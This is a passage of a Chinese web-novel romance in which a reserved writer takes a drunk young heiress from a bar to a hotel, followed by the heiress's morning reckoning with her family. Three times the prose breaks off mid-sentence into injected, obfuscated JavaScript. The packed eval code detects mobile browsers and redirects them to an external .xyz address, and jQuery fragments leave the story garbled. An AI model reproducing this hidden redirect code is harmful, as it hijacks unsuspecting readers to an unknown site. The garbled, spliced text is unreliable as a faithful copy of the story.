言浠兀自摇了摇头,否定了心中突然冒出的这个不切实际的想法。
“嘿!”韩曲凌从一辆极其炫目的黄色法拉利后边跳了出来,披着一头火红色长发,咋咋呼呼地挥了挥手,“你可算来了,等你好久了,”说着下意识地去挽言浠的手臂。
言浠沉静的眸子里骤然升起一道寒芒,身体也随之紧绷。
是一种条件反射的防备性姿态。
韩曲凌火速抽出了手,也不尴尬,笑盈盈的,“想我了吗?”
言浠:“.....”
韩曲凌捂着心口,对她的沉默不语表示很受伤。
“没事的,不喜表达和不走心是有本质区别的,咱俩认识那么久我还能不了解你吗?遥想当年我可是费了九牛二虎之力才...”
言浠赶紧打断了她的“遥想当年”。
“走不走了?”
韩曲凌收起了满脸不正经,指了指门口停着的超跑,“临海当地最出名的les吧,看见了吧,这质量,也不知道是哪家的大小姐开出来炸街的,我跟你讲我寡了好久了今天势必要找个女人开开荤。”
虽然言浠穿着素淡,但这张脸实在是瞩目。
韩曲凌补了一句,“别抢我风头。”
言浠的注意力停留在“大小姐”那三个字上,神情一时有些恍惚,随口说道,“没兴趣。”
韩曲凌笑。
两人往里走。
不到八点钟,酒吧里只有寥寥几桌客人,以至于言浠一眼就望见了舞台旁边卡座上被几个光鲜亮丽的年轻人簇拥在中间的时千岁。
时千岁眉目低垂,一副心事重重的样子和周围热闹的气氛格格不入。
言浠的心脏莫名揪了一下。
直觉没有错,她果然来了。
“怎么了?”韩曲凌挥了挥手。
言浠回神,不动声色收回目光,脚步一抬,站到了韩曲凌的右手边,阻挡住了她望向中央卡座的视线。
韩曲凌:“???”
...
时千岁是半个小时前来到的“冬藏”酒吧。
至于她为什么来到这里,还得从她赌气离开家时说起。
黄色的跑车漫无目的地驰骋在街道上。
夕阳西下,淡金色在云暮间流荡,拉下了白日的帷幕,急躁的风呼啸而过,带着独属于夜晚的清凉,一下又一下拍打着时千岁的脸颊。
她冷静了不少。
她承认,姐姐说得对。
也承认姐姐是为了她好。
但那句“你什么时候能长大”也确确实实刺伤了她。
她讨厌老是被当成小孩子。
“嗡嗡。”
放在副驾驶的手机好像从刚才就一直在震。
震得人心烦。
时千岁靠边停车,查看消息。
信息轰炸的是秦梦乐。
【千岁,人呢,大家在都等你,昨天你可是答应过来的。】
时千岁皱皱眉。
刚想拒绝。
对面发了个定位,“冬藏”酒吧。
时千岁久久地注视着这个地址,心中五味杂陈。
...
所以,她为什么鬼使神差地前来赴约呢?
是对“见面”这事还存在一丝不切实际的幻想吗?
时千岁自嘲地勾了勾唇角,眼睛还是听从了心意,缓缓扫向了全场。
酒吧陆陆续续开始上人。
几乎都是几个好友或情侣相携而来,时千岁视线定格在不远处卡座唯一一个形单影只的人身上。
这人妆容浓丽,红唇大波浪,打扮得跟个开屏的花孔雀似的。
一看就不是她。
时千岁刚要移开视线。
便看见一个留着齐耳短发的女人大步流星地朝浓妆女人走去。
浓妆女人一改慵懒姿态,起身迎了过去,笑意温柔,“才下班?饿不饿?”
短发女人揽住了她的腰,把她往身前一勾,目光深深,“嗯。”
“那在外面吃还是回家自己做?”
短发女人喉咙往下一滚,“喻老师。”
“想吃你。”
说着,便直接吻了上去。
两人在躁动的音乐声中紧紧相拥,吻得激烈而沉醉。
时千岁眨也不眨地盯着两人。
她想,如果今天如期见面的话...她是不是也能有嘴亲。
时千岁眼底止不住地艳羡。
...
“千岁,”秦梦乐从舞池中出来,捞起一杯洋酒绕到时千岁身边,旁边女孩很有眼力见地让出位置。
时千岁兴致不高地“嗯”了一声。
秦梦乐看她面前的盛果汁的杯子,挥手让服务员拿了两瓶啤酒过来。
开了一瓶递了过去,“诱惑7号,果味啤酒没什么度数,来都来了放松一下。”
时千岁接过,闻了闻确实没有酒精味,只有淡淡的苹果清香扑鼻。
她犹豫片刻点
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15084762|163556||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了点头。
行吧。
秦梦乐突然不合时宜地问了句,“今天怎么就你一个人出来,”往常不是每次身后都跟个跑前跑后管东管西的大高个?她调侃道,“保镖呢,不过来伺候你啊?”
大春?
时千岁眸光一冷,脸色也突然暗了下来。
一字一顿咬道,“她是我朋友。”
“不是什么保镖,放尊重点。”
气氛莫名紧张,周围女孩全部安静了下来,齐刷刷地看向秦梦乐。
秦梦乐笑容僵在了脸上。
其中一个跟两人比较熟悉地站出来打圆场,“她开玩笑呢。”
“你也是,千岁本来就心情不好,你还惹她不开心。”
“来喝酒喝酒。”
秦梦乐狠狠捏了下杯子,眼底的怨毒一闪而过。
“我赔罪,我干了。”
杯中酒一饮而尽。
...
酒吧的最角落,韩曲凌百无聊赖地趴在桌子上扣手机。
刚刚跟言浠聊了聊网恋对象的事情进展,得知删除好友后,兴致缺缺。
她叹口气看着眼前杵着的人,无奈道,“这么大个地方,你非坐我对面干啥,害我都看不到美女了。”
视线被遮挡得一干二净。
韩曲凌向左挪挪。
言浠也向左挪挪。
韩曲凌向右。
言浠不动声色地歪了下身子。
韩曲凌:“???”
言浠端起红酒杯,晃了晃,悠悠道,“看我还不够?”
韩曲凌:“.....”
“姐,但凡换个人跟我说这句话我都能不要脸地觉得这是在撩我。”
言浠:“.....”
韩曲凌觉得她今晚奇怪得很。
言浠向来不喜欢这种热闹的场所,以前叫她来过两次,每次屁股还没坐热就急着要走,今天完全没有要走的意思。
什么情况?
“明天几点飞机?”
言浠站起身,“下午。”
韩曲凌问,“要回去吗?”
“不急,时间还早。”
“我上个洗手间。”
言浠转身离开前特意把她的包从沙发上拿了起来,立在了桌子上,隔断了韩曲凌的视线。
韩曲凌:“???”
...
言浠来到卫生间门口。
此时里边传来了一阵尖锐愤怒的喊叫声。
“啊啊啊啊!”
“你说,时千岁她到底在装什么啊?”
听到这熟悉的名字,言浠脚步一顿,停在了原地。
“她有病吧,为了一个破跟班的当众让我下不来台,害我脸都丢尽了。”
“嘘,乐姐,你小点声。”
“怕什么!”
“真不懂我爸为啥这么低声下气的,非让我来给她道歉,你说,时家有什么好怕的,不就是一破暴发户。”
里边的人突然压低了声量。
“等下你就使劲灌她酒,最好不省人事,被人捡走睡了才好。”
言浠眼底升起森然寒意,蓦地推开门,向里边说话的两人走去。
...
11. 第 11 章
秦梦乐两人一看有人走进来便默契地转移了话题。
“看我今天这裙子怎么样?”
“好看,也太符合你的气质了吧,乐姐。”
秦梦乐炫耀,“那是,这可是出自国外顶尖设计师之手,十几万呢,怎么样比时..”见同伴用眼神提醒,她舌头转了个弯,“是不是那谁好看?”
同伴附和道,“那肯定的,乐姐,暴发户的气质怎么可能和你比。”
言浠走到两人身边,打开水龙头仔细冲洗手背,余光静静打量着秦梦乐。
高颧骨,脸颊凹陷,加上那副高傲的神态,看着刻薄又虚荣哪里抵得上时千岁万分之一。
言浠不由冷笑出声。
秦梦乐:“???”
这人刚刚冷着个脸气势汹汹地进来,这会又意味不明地笑,什么意思?
“我们认识?”
言浠面无表情,甚至懒得给她一个眼神,“不认识。”
秦梦乐不满地嘀咕了句,“莫名其妙,”转过头继续和同伴说话。
水流簌簌流淌,很快便挤满了洗手池,言浠打量了眼毫无察觉的秦梦乐,忽地勾唇一笑。
她压下开关,从一侧抽出张纸巾擦干手,转身丢纸的同时,出其不意地向秦梦乐勾出一腿,膝盖巧妙地往她腿窝一顶。
秦梦乐忽然重心不稳,栽向蓄满水的洗手池。
同伴急忙拉她,可还是晚了一步。
“扑哧”一声,秦梦乐迎面栽进水里。
长发尽湿包括那条价格昂贵的裙子也湿了大片,要多狼狈有多狼狈。
言浠冷冷地扔下一句,“抱歉。”
从容离开。
身后传来秦梦乐恼羞成怒的叫喊声。
“你有病吧!”
“啊啊啊啊啊!”
“我的新裙子!”
“晦气,倒霉!”
“我要回家!”
…
言浠好心情地从洗手间出来,目光越过舞台上热舞人群寻觅时千岁的身影。
再怎么说,她也是时总妹妹,有这样一层关系在,就不可能对她放任不管。
时千岁依旧在卡座上,未离开半步。
但神情…
言浠眯了眯眼,距离有些远,看不清。
她从侧面绕了过去,站到了背光处。
时千岁柔若无骨地窝在沙发上,离得近了言浠得以清楚地看清了她的脸,双眼迷离,脸颊也染着醉意的红晕。
言浠:“.....”
别人还没开始灌,就给自己喝多了?这是喝了多少?
这时,隔壁桌一个长发女人,端着酒杯走了过去,低头跟时千岁旁边女孩说了几句话。
那女孩举起酒,碰了个杯。
女人顺势坐到了旁边,环住了女孩的腰肢,女孩回抱她。
灯光暧昧,呼吸交错间。
两个互不认识的人竟直接接起了吻。
言浠:“!!!”
她看了眼一旁醉意朦胧的时千岁,心道,现在的年轻人都这么玩得开..这么随意吗?
言浠捻了捻指尖,犹豫着要不要叫时总过来接走这个小家伙。
毕竟自己没有给她送回家的义务。
这时,言浠的目光中突然出现了一道熟悉的身影。
一头骚包红发,身姿摇曳,目标明确地朝时千岁走来。
不是韩曲凌还能是谁。
言浠心里警铃大作。
下一秒闪到了时千岁面前。
韩曲凌看着眼前捷足先登的言浠心里打出了三个大大的问号。
???
时千岁同伴见凭空冒出来的言浠更是惊愕不已。
白衬衫高挽袖口,配了条棕色收腰裤,简单利落,又美又飒,就是表情吧..有点过于冷厉、严肃。
不像是来玩的,更像是老师下场专门来逮逃课的学生的。
在场众人不由心里发怵,一时沉默不语。
言浠目光紧紧描绘时千岁的脸。
近距离才发现,时千岁的眼睛有一圈未褪去的红肿。
小家伙是哭过?
她想。
因为自己吗?
言浠眸光闪动,下意识抬起掌心,放到了眼前人的乌黑的发顶,轻轻揉了揉。
韩曲凌震惊到下巴都要掉下来了。
一向不喜与人肢体接触的言浠居然在爱抚别人!
对,就是爱抚!
这可是惊为天人叹为观止啊!
惊讶之余韩曲凌联系上她今晚的奇怪举动,心中逐渐有了个猜测。
虽然言浠和她同样是写百合文的作者,但性取向是个谜,从未有过感情经历,也没见过她对任何一个人上过心,无论男女。
韩曲凌以前猜测,她就是个无性恋。
现在嘛,还真不一定。
什么开荤,开荤哪有吃瓜...不对,哪有朋友的终身大事重要,韩曲凌往沙发上一坐,悠哉悠哉地跷起二郎腿看戏。
一旁和陌生女人拥吻的女孩打破沉默,大着胆子问言浠,“姐姐,一起玩游戏吗?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15084763|163556||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>言浠收回了手,眼底恢复平静,“不必了。”
“她喝了多少酒?”
邻座女孩伸出一根手指。
一瓶?
邻座女孩:“一杯。”
言浠:“.....”
她又补充,“啤酒。”
好家伙,一个人的酒量可以差到这个地步她是万万没想到的。
言浠好笑地看着眼前神情呆滞瘫软在沙发中的小家伙,一时兴起抬手捏了捏她的脸蛋。
很滑嫩。
一旁吃瓜的韩曲凌瞬间瞪大了双眼:“!!!”
又上手了?
韩曲凌甚至都觉得言浠的高冷不近人情都是装的,其实骨子里就是个闷骚的。
啧啧啧啧啧。
言浠感受到了韩曲凌揶揄的目光,指尖一顿,不自在地松开了时千岁脸颊。
她清了清嗓,恢复淡然。
“时千岁。”
时千岁在一片跳跃的灯光中天旋地转。
一道清冷的声音穿过混沌闯入脑海。
有点熟悉。
时千岁努力睁大眼看向眼前人。
人影朦胧模糊,看不清脸,但身形也有点熟悉。
是她的女朋友吗?
不对...前女友。
言浠看着她的醉态,直截了当道,“跟我走。”
时千岁从眩晕中寻得一丝清醒。
删都删了,还来做什么?
“我..不要!”
本是带着怒意的话,沾染上酒气变得软绵绵的。
言浠心里软了软,语气变得柔和,“我送你回去。”
“不要,”时千岁在朦胧中抓住了一抹亮眼的红色,她指了指韩曲凌,“我要这位姐姐...”
“送我...”
韩曲凌:“.....”
这瓜怎么吃着吃着吃到了自己头上?
这可不行。
“别叫姐姐,叫叔叔。”
言浠:“???”
众人:“???”
韩曲凌笑,“我男的。”
她朝言浠挑挑眉。
姐们够意思吧。
言浠无语地看了眼韩曲凌,又看了眼醉眼蒙眬显然不能自理的时千岁。
心里打定了主意必须马上结束这场闹剧。
她在一众人的目光下俯下了身子,又在一众人的惊呼声中将时千岁横空抱起。
哇哦,韩曲凌眼睛亮了亮。
心中飘过了三个大字。
——强制爱!
12. 第 12 章
韩曲凌把两人的包一拎,向在场的女孩们飞了个吻,小跑追了上去。
邻座女孩挥了挥手:“叔叔再见。”
韩曲凌脚步一踉跄,石化当场。
现在的孩子们,都这么好骗的吗?
...
言浠抱着她往出走。
怀中人很轻,想必也是晕得厉害,没什么挣扎,只是紧紧依偎着她。
滚烫的呼吸扑洒进颈窝,女孩的唇角也时不时地滑过她的肌肤激起阵阵微弱的电流,言浠被头发遮挡住的耳尖悄无声息地攀爬上了一抹绯色。
“等等我。”
韩曲凌追了上来。
言浠深吸一口气稳住了心绪。
“嗯?”
韩曲凌笑,挥手拦了一辆出租车,“现在去哪啊?”
是不是去开房?
言浠读懂了她揶揄的眼神,飞去一记眼刀,冷冷道,“送她回家。”
怀中人听到“回家”这两个字突然开始了挣扎。
本就绵软的声音里带了一丝哭腔,“不要...”
“我..不要回去...”
言浠按住了她作乱的手,轻声安抚,“时总会担心。”
时千岁紧紧抓住她的袖口,平时澄亮的眸子此时雾蒙蒙的,眼尾还带着一圈未褪去的红,像极了备受欺负后的红着眼的小兔子,惹人心疼。
“不想理她...”
言浠愣了愣,“嗯?”
心中猜测,是吵架了?
时千岁抬起柔软的眸子,长睫微颤,“求你了。”
言浠心尖也随之一颤,挣扎片刻,轻声应道,“嗯。”
她轻轻托住时千岁的腰,把她送进了车内,又给她调整了个舒服的姿势。
一切做好。
转身,堵住了贼兮兮地想要跟上车来的韩曲凌。
韩曲凌:“???”
“我不能和你们一起走吗?”
言浠静静瞟她一眼,从她手里拿过了包,转身上车,利落关上车门。
“不行。”
刚才还柔情似水,现在就冷面无情。
怎么还两副面孔呢?
韩曲凌急,“我可以不在车里,也可以在车底。”
司机师傅抢先一步:“嘿,车底可不兴坐人呐。”
韩曲凌:“.....”
司机师傅:“车顶也不行。”
言浠无视她,“去万吉酒店。”
“好嘞,”司机师傅油门一踩,绝尘而去。
留韩曲凌在汽车尾气中上蹿下跳。
像极了满地转圈也找不到瓜吃的猹。
...
时千岁一上车就出奇的安静,闭着眸子,呼吸清浅,像是睡了过去。
酒品倒是不错,也不闹腾。
言浠宽慰。
谁料,一下车,便被打了脸。
可能是沾染了夜风,时千岁醉意越浓,开始作起了妖。
言浠才和前台说完再开一间房,一时没看住,便被时千岁抢走了身份证,塞进了胸前。
言浠显然被她这番骚操作震惊住了,平静的瞳孔里出现一丝裂痕。
时千岁歪歪扭扭往电梯走,嘴里还嘟嘟囔囔,“我不要自己睡..”
言浠:“.....”
无奈。
言浠叹了口气,纵容了她的行为,“抱歉,帮忙准备一碗醒酒汤送到1001房间。”
前台微微颔首。
...
言浠追上去,架住了她的胳膊,时千岁挣扎得更欢,甚至踮起脚尖转了个圈。
歪得更厉害了。
言浠索性再次把她抱了起来。
怀中人出乎意料地老实了下来,脸颊紧紧地贴到了她的胸口柔软,蹭了蹭。
言浠呼吸一紧,整个人僵住了。
怎么又占她便宜?
言浠气恼,但又无从发作,只能加大了步伐。
房卡“滴”一声。
言浠肩膀撞开了门,把她抱到了床上,脱了鞋。
捞起个枕头,转身坐到了沙发,总归还剩一晚,沙发上凑合一下也是可以的。
折腾半天,冒出了一身汗,言浠解开了衬衫上边的两颗扣子,又把空调调到了二十度,徐徐冷风吹拂,这才舒畅了点。
身后一阵窸窸窣窣。
言浠一惊。
极快地扭过头,“晕不晕?还是想吐?”
只见时千岁已经从床上坐了起来,衣衫半解,毯子也滑落到了地上。
大而亮的眼睛此时像是盈了一池醉人的酒,荡漾而迷离。
唇瓣也更似红润。
她软绵绵地咬出了一个字。
“热~”
言浠:“!!!”
目光滑过她雪白的肩头,漂亮的锁骨,再往下..是一片令人遐想的白皙。
言浠指甲使劲掐了下指腹,抽回了目光。
时千岁还在向下解着扣子,红唇微张,似乎是想说什么。
言浠好怕这小家伙像在微信聊天里一样肆无忌惮、语出惊人。
她疾步上去,一手捞起毯子把她包了个严实,一手捂住了她的嘴。
时千岁拧眉,胡乱挥动着手臂。
拳头不小心打在了身上也没什么力道,言浠目不斜视,义正词严,“快睡觉!”
“不然给你扔出去。”
时千岁更凶,张口便咬向了她手心。
言浠吃痛,松开了手。
小家伙,属狗的吗?
时千岁耷拉下脑袋,“脏..我要洗澡。”
言浠:“.....”
原来是要洗澡。
言浠才松下一口气,又猛然提起。
她这副样子,能洗澡?
万一,磕了撞了,或者晕在里边,怎么办?
言浠抬手拦她,“不行,忍一忍。”
时千岁直勾勾地盯着这只手,微微张开口,探出舌尖舔了舔唇瓣。
又想咬人?言浠眸光一震,快速收回了手。
时千岁歪歪扭扭爬下了床,往浴室走,一步一踉跄。
言浠赶紧跟了上去。
...
“浴巾浴袍放在这了,”言浠把淋浴打开,伸手试了试水温,“站稳了,有事喊我。”交代完,转身带上了门。
万吉酒店的商务套间宽敞舒适,格调高雅,唯一的缺点就是这个浴室。
采用的是全景透明玻璃设计。
以至于,言浠只需要微微转个头。
里边的风景就能一览无余。
身后水声阵阵。
言浠拿着书的手半天未翻动一页。
思绪乱飘。
脑中闪过前天微信的“洗澡”视频。
时千岁勾开扣子慢慢褪去上衣。
香肩、美背盈盈一握的腰肢,被浴室缥缈的白雾包裹着,若隐若现朦胧又迷离。
“老师,剩下的等你亲手帮我脱。”
视频画面戛然而止。
言浠脑子里的画面却在持续滚动。
像是按下了自
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15084764|163556||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
动播放键,来来回回,挥之不去。
言浠深呼吸,起身去桌子上拿了一瓶矿泉水,一口气灌下半瓶。
热意驱散。
言浠转了个身,光明正大地注视起浴室的毫无察觉的人。
终归是出于担心。
言浠理由恰当,且充分。
热气袅袅,玻璃上蒙了一层白雾,氲出里边人朦胧轮廓。
挺翘,纤窈。
...
水声戛然而止。
里边人披着浴袍出来,腰间系带松松垮垮的,浓浓水汽把颈间肌肤染成了一片诱人的淡粉,发尾湿漉漉的一颗水珠顺势而下滑入领口,消失在绵绵深壑中。
言浠喉咙滚了滚,极快地移开了视线。
从沙发上捞了件睡裙,拿出遥控把浴室玻璃的遮挡帘放了下来,大步走向浴室。
“醒酒汤在床头柜上,等下喝了。”
时千岁口中哼哼一声,胡乱地踢掉了拖鞋,栽向大床。
言浠冲了个凉水澡。
再出来,就看时千岁安静地躺在床上,似是进入了梦乡。
言浠走到跟前,垂眸端详,眼前人睡容恬静,呼吸清浅,长而翘的睫毛如同薄薄的蝉翼,随着呼吸一颤一颤。
看起来乖巧极了。
言浠把毯子掖了掖,抬手把壁灯调到了最暗。
幽暗光线中,时千岁突然睁开了眼,在言浠吃惊的目光中一把擒住了她的手腕。
眼神郁恨。
咬牙道,“为什么删我?”
时千岁手上力度加大,把言浠手腕一拽。
言浠一时重心不稳栽到了时千岁怀里。
时千岁闷哼一声,一个翻身,骑到了她身上。
“又为什么过来找我?”
言浠心里一惊,手指紧紧扣住了床沿,“时千岁!”
“看清楚。”
“我是言浠!”
时千岁眯了眯眼,仔细地端详身下人的容貌,片刻,晃了晃脑袋,否定道。
“你不是..”
言浠:“.....”
“你就是我前..女友。”
话音一落,身上人越发放肆,两条腿紧紧缠住了她的腰。
距离拉近,那张隽秀的脸逐渐在瞳孔中放大,再放大,带着清甜酒气的呼吸扑洒在鼻端。
言浠从未与人有过如此近距离接触。
她浑身紧绷着,漆黑的眸子里涌起浓浓怒意。
她大声呵斥,“下来!”
一滴泪从眼角滑落,在幽暗的光影里拉出一条晶亮的线,落到了言浠的唇边。
苦涩、微凉。
言浠的怒意随着这滴眼泪的到来消失得无影无踪。
时千岁抬手抹了抹眼泪,哽咽着,质问道,“凭什么啊?”
“我是很认真的..”
“你凭什么这么对我啊。”
眼泪如同断了线的风筝,止也止不住。
一颗又一颗,砸进了言浠的心里。
言浠怎么也没有想到,短短三个月时间,这小家伙居然走了心,也没想到自己的断联举动能让她这么难过。
心里涌起阵阵内疚。
言浠抬起手想要帮她擦眼泪。
时千岁突然止住了哭声,幽幽目光移向了她的唇。
鼻息滚烫,空气也似乎暧昧了起来。
言浠心脏重重地跳了一拍。
在她惊愕的目光下。
时千岁发狠,直直地砸下来一个吻。
“你欠我的。”
13. 第 13 章
言浠来不及做出任何反应就被馨香柔软撞了满怀。
两唇相贴。
是如同果冻般的温软清甜。
言浠大脑空白了一瞬,思绪被这奇妙的触感搅弄着混乱成了一团。
直到身上作乱的小家伙更为大胆的探出了粉嫩的舌尖,试图撬开她的唇瓣,言浠浑身一僵,抬手捏起了身上人的后脖颈,呵斥道,“下去。”
往常极具震慑力的话落在醉酒人耳朵里却轻飘飘的,更像是某种情绪的催化剂,激起了时千岁的猛烈挣扎。
言浠顿时有了想把她踹下床的冲动。
时千岁抓住她愣神间隙,突然挣脱了桎梏,张口便咬向了她的唇瓣。
言浠吃痛,拧起了眉头。
现在不仅想给她踹下床,更想给她扔出房间。
然而,未等发作,始作俑者突然松开了唇,头一歪,缩在她怀里沉沉地睡了过去。
言浠:“!!!”
一肚子火气憋在心里不上不下,言浠狠狠瞪着她,突然伸出两根手指,发泄似地捏住了她的鼻尖。
直至怀中人轻轻蹙起眉,发出两声呓语。
言浠这才松开了手,把她平稳地放到了床上,盖好毯子,走向沙发。
...
言浠给自己倒了杯红酒,靠进沙发里,指腹轻轻摩挲着唇瓣,思绪纷飞。
她这么任由小家伙胡来甚至夺去了自己的初吻,总归是出于她那句带着恨意与不甘的“你欠我的”带来的愧疚。
情绪发泄完,明天一切就会回到原点。
言浠端着酒杯,走到窗前,望着浓浓夜色,一口一口抿掉了杯中的酒。
这夜,一夜未眠。
...
翌日。
时千岁被刺眼的阳光晃醒。
一睁眼,头痛欲裂,随之而来的一阵晕眩,天花板上的水晶吊灯都出现了残影。
她“嘶”了一声,揉了揉太阳穴。
微微缓和,猛然惊醒。
这里...怎么长得不像自己卧室呢!
她慢慢撑起上半身,目光环视着周围陌生的一切,最后定格在自己半敞着的浴袍上。
!!!
里边怎么什么都没穿!
昨天到底发生了什么?
时千岁捂着额头使劲回想。
记忆到酒吧秦梦乐敬酒那段戛然而止,天旋地转后是长久的空白。
不过在这段空白里。
她好像又做了和上次差不多的梦。
梦里的主角也和上次一样。
有前女友,也有...言浠。
朦朦胧胧又黏黏腻腻。
尤其是梦境结尾的那个吻。
触感是如此真实。
时千岁摩挲着唇瓣,正在回味时。
大门被猛烈地拍响。
时千金急迫的声音出现在门后。
“时千岁,快开门!”
时千岁一惊,差点从床上翻滚下来。
她慌乱地整理了一下浴袍,趿上拖鞋往门口走。
还止不住地想。
腿..为什么这么软。
打开门。
“嗨,姐姐。”
话一出口,嗓音也沙哑。
怎么回事,这个症状怎么这么像...
事后!!!
时千金屈起指节,朝她脑门敲了一下,“发什么呆?”
时千岁掩下心虚,挤出了个生硬的笑,“你怎么来了?”
时千金没空发难,急忙把她拽进屋,从沙发上捞起衣服往她身上一丢,言简意赅,“爸妈来了。”
时千岁的笑僵在了脸上。
“什..什么?”
时千金瞥她一眼,没好气道,“现在知道慌了?昨天跟我吵架时候的劲头呢?”
时千岁想给她姐跪下。
可怜巴巴道,“我知道错了,救救我。”
时千金实在受不了她撒娇这一套,转了身,开门向走廊张望了一眼,“你确实该长长教训,太过分了,”关上门,对上那双楚楚可怜眸子,语气又一软,“爸妈让我拖住了,我先上来跟你通个气,车我让人从酒吧门口开回来了,至于昨晚,你就说跟我吵架了,后边的我担着,至于不该说的一句别说。”
时千岁眨眨眼,彩虹屁随口就来,“你真是全天下最好的姐姐。”
时千金嘴角压不住了,“哼”了一声,催促道,“别磨叽了,抓紧时间换衣服。”
时千岁手忙脚乱。
还不忘问出心中疑惑。
“姐,你看看我脖子上有什么不该有的痕迹吗?”
时千金环着胸微笑,“你想得够美的。”
“你知道昨晚谁给你送过来的吗?”
时千岁低头套着裤子,竖起两只耳朵。
“是言浠。”
“昨晚找你都找疯了,还好接到了言浠的电话,才知道你在哪儿。”
按照以往,时千岁得知有人通风报信绝对火冒三丈,但现在她不仅没有一丝一毫气愤,反而在脑海中冒出了奇怪的问题。
那个吻是真实的吗?
后面呢,有发生什么吗?
时千岁认真地想了想。
如果这个人是言浠。
脑海中情不自禁地浮现出了那张冷艳逼人的脸。
耳尖倏地红了,一开口便说出了心里话。
“那也挺好的。”
时千金:“???”
时千岁被自己这一想法惊到了,欲盖弥彰地整理了下衣服,急忙往出走,“没什么没什么。”
甫一开门。
撞见了门口伫立着的两道黑压压的人影。
时千岁心脏猛地一颤。
无暇再多想其他。
忐忑地打招呼,“爸爸,妈妈...”
眼前那身着一身高定西装的男人,是时千岁的父亲,名为时来运,国字脸浓眉大眼,人到中年身材依旧板正,阴沉起脸来往那一站颇有几分威严,挽着的那位温雅雍容的女人是时千岁的母亲梁双敏。
梁双敏皮肤保养得极好,甚至看不出一点岁月留下的痕迹,五官秀丽,尤其是那一双眸子,顾盼生姿。
但相较于父亲的严厉,其实时千岁更怕的是她的母亲。
从小到大,时千岁所有的小心思小秘密都逃不过梁双敏的火眼金睛,无一例外。
梁双敏笑得柔和,轻声细语道,“你两通好气了?”
时千岁心里咯噔一声,打起了鼓。
时来运温柔地望向梁双敏。
“什么?”
梁双敏笑着摇摇头,“没事。”
“哦,”转头又恢复了严厉。
“时千岁,你真长本事了?”
“无法无天的,还酒吧买醉,夜不归宿,你知道这种情况多危险吗?要不是有小言在...”
时千岁被训得缩起了脖子,小声反驳,“这不是好好的嘛。”
时来运气的吹胡子瞪眼,“还敢顶嘴!”
时千岁认怂,拽了拽梁双敏的衣角,使了个眼色求情,“我错了嘛。”
梁双敏接收到信号,宠溺地摸了摸她的头,劝时来运。
“好啦,先回家再说吧。”
“你就宠她吧,”时来运抱怨,“你看她自从放假后有跟咱俩打过电话吗?心里还有咱们吗?”
时千岁听出了爸爸的话外音,借坡下驴,亲昵地挽住了两人的手臂。
“怎么会呢,我最最最爱你们了,我还给你们准备了礼物呢。”
“是吗?”时来运神色缓和,“算你有良心。”
“听你妈妈的,先回家吧。”
时千岁和时千金同时松了口气。
…
回到时家别墅。
正值饭点。
时来运围上围裙一头钻进了厨房。
饭菜飘香。
不多时,时来运端着热气腾腾的砂锅上了餐桌。
看着姐妹俩同一个姿势悠闲地歪在沙发上扭成麻花,不由一皱眉,训斥道,“没规矩,多大的人了,站没站相坐没坐相。”
姐妹俩同时收回腿,坐得板正。
“千岁去叫妈妈,准备吃饭了。”
“哦,”时千岁望了一眼餐桌,不出意外地撇了撇嘴角。
要么是斋菜,要么是药膳。
腻了。
时千岁的父母,吃斋礼佛已有二十余载。
至于为什么保持这个习俗还得从时家发家史讲起。
时来运与梁双敏,典型的穷小子娶了出身名门的大小姐,当年这桩婚事没有一个人看好,谁料时来运人如其名,走了大运中了彩票,有了本钱,买了几块地皮,又是运气爆棚,没过几年就翻了几番,后来成立了来运集团也是一路水涨船高,到如今发展成了临海市首屈一指的企业。
地位、财富、爱妻在侧,又喜得两位千金。
用时来运的话来讲,这是上天给予时家的福报,需要他一辈子吃斋礼佛积德行善来延续。
这就苦了挑嘴的时千岁了。
她可是在长身体!
时千岁磨磨叽叽挪动身子,试探性地问,“亲爱的爸爸,我等会儿能不能去...”
时来运从厨房出来,锅铲一挥,“哪都不许去,别以为有你妈给你撑腰今天这事就过去了。”
“明天跟我去参加酒会。”
时千岁最讨厌这种场合了,到处都是虚与委蛇,商业互吹,一点也不自在。
她想也没想拒绝,“我不想...”
时来运提高音量,“不想也得想!”
别顶嘴,时千金悄悄拧了一下她大腿,以作提醒。
时千岁痛得直皱眉,“嘶..你掐我干什么?”
时千金:“.....”
没救了。
“自古以来人以类聚物以群分,跟你那些狐朋狗友能学到什么好,多认识点优秀的人不好吗?你看看你王叔儿子保送海外top1大学,今年博士毕业直接接手了家里公司,你再看看你,逃课、挂科,无所不能,你能毕的了业吗?”
时千岁尴尬地笑笑,“那是意外…”
时来运恨铁不成钢,“再这么下去,我怕你烂了。”
时千岁眸光一黯,心里有点不是滋味,“哪有那么严重…”
“你王叔的儿子,人家念叨了好几次要见你,明天正好见个面,你们年轻人多沟通沟通。”
